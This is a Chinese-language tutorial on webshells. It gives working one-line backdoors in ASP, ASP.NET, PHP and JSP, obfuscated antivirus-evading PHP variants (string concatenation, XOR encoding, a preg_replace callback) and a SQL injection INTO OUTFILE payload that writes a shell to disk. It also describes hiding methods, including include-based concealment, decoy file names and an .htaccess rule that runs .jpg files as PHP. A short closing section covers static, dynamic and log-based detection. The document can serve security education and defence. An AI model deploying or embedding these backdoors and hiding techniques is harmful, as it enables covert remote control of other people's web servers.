什么是webshell
webshell,簡稱網頁后門。簡單來說它是運行在web應用之上的遠程控制程序。
webshell其實就是一張網頁,由PHP、JSP、ASP、ASP.NET等這類web應用程序語言開發,但webshell並不具備常見網頁的功能。例如登錄、注冊、信息展示等功能,一般會具備文件管理、端口掃描、提權、獲取系統信息等功能。擁有較完整功能的webshell,我們一般稱為大馬。功能簡易的webshell稱為小馬。除此之外還存在一句話木馬、菜刀馬、脫庫馬等等的名詞,是對於webshell功能或者特性的簡稱。
webshell之PHP一句話木馬解讀
ASP:
<%eval request("x")%>
ASP.NET:
<%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>
PHP:
<?php @eval($_POST["x"]);?>
JSP:
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
webshell管理工具
中國蟻劍是一款開源的跨平台網站管理工具,也是一款webshell管理工具,它主要面向於合法授權的滲透測試安全人員以及進行常規操作的網站管理員。中國蟻劍的核心代碼模板均改自偉大的中國菜刀。
webshell分類
小馬:執行功能時,需要將所有代碼傳遞到服務端,功能封裝在客戶端。
大馬:自身中封裝了許多功能,只需要傳遞參數,即可執行對應的功能,例如端口掃描、反彈shell。
webshell變形免殺
變形
<?php $x=$_GET['x'];@eval("$x;"); ?>
<?php $_GET['a']($_GET['b']); ?>
<?php $a="ass"."ert";$a(${"_PO"."ST"}['x']); ?>
如何獲取webshell
利用網站的文件操作漏洞將webshell寫入網站目錄中
SQL注入
利用條件:
當前mysql用戶擁有FILE權限
網站未對單引號進行轉義
payload: select `<?php eval($_POST['test'])?>` into outfile '/var/www/test.php';
上傳漏洞
利用條件:
文件上傳操作如頭像、評論等,對用戶上傳文件過濾不嚴格,上傳機制可被繞過,導致腳本文件的上傳
任意代碼執行
利用條件
用戶傳入參數被服務器腳本以源碼方式執行
可直接插入惡意代碼或利用腳本對應的文件寫入操作寫入webshell
任意文件包含漏洞
利用條件
網站動態包含配置文件
包含圖片、日志文件等執行惡意代碼
后台功能
利用條件
獲取並進入網站后台管理界面,具有對網站文件寫入與修改、數據庫或文件備份、文件上傳等權限
webshell的隱藏
文件包含
服務器內某訪問量小、對網站影響小腳本文件中加入include(‘/upload/xx.jpg’);包含所上傳的webshell文件
命名:命名、存放位置具有誘惑性 : /admin/help.php
改變編碼格式
<?php@$_++;$__=(“#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?> #利用異或運算:<?php @$_POST[0]($_POST[1])?> xxx=eval($_POST[1]);
callback函數
<?php function funfunc($str){} echo preg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")', $_POST["cmd"]); ?> cmd=<title>{${phpinfo()}}</tile>
修改已有腳本代碼
在網站訪問量小、不影響網站功能的腳本文件中加入一句話木馬等
.htaccess文件
當服務器開啟.htaccess文件解析可在upload文件夾內創建.htaccess文件寫入下面內容
AddType application/x-httpd-php .jpg <Files demo.jpg> ForceType application/x-httpd-php SetHandler application/x-httpd-php </Files>
webshell的檢測
webshell運行流程
hacker -> HTTP Protocol -> Web Server -> CGI
webshell為一個合法的http連接,在TCP/IP的應用層之下沒有任何特征(誰知道呢)只能進行應用層檢測
檢測方式
靜態檢測
匹配文件特征碼、特征值、危險函數eval等來查找webshell,依據特征碼弱強特征,結合人工判斷,可減少漏報誤報概率,利用文件系統的屬性判斷,無緣無故多出的nobody屬性文件必定有問題(Apache是nobody啟動)
弱點: 漏報誤報率較高,無法查殺變種及0day型
動態監測
依據webshell文件執行表現的特征即動態特征,如菜刀操作的特征,webshell命令執行時必會創建bash或IIS User啟動cmd 由PID進程號定位webshell,http異常模型檢測,檢測若有有用戶訪問一個從未訪問過的文件並得到200響應,很容易定位
webshell,修改內核,hook一些危險函數eval、asset,重新編譯php;
弱點:降低php性能及業務性能
日志檢測
webshell訪問特征 - 少量ip發起fangwen - 總訪問次數少 - 該頁面屬於孤立頁面
干擾數據:
管理后台等正常孤立頁面
掃描器行為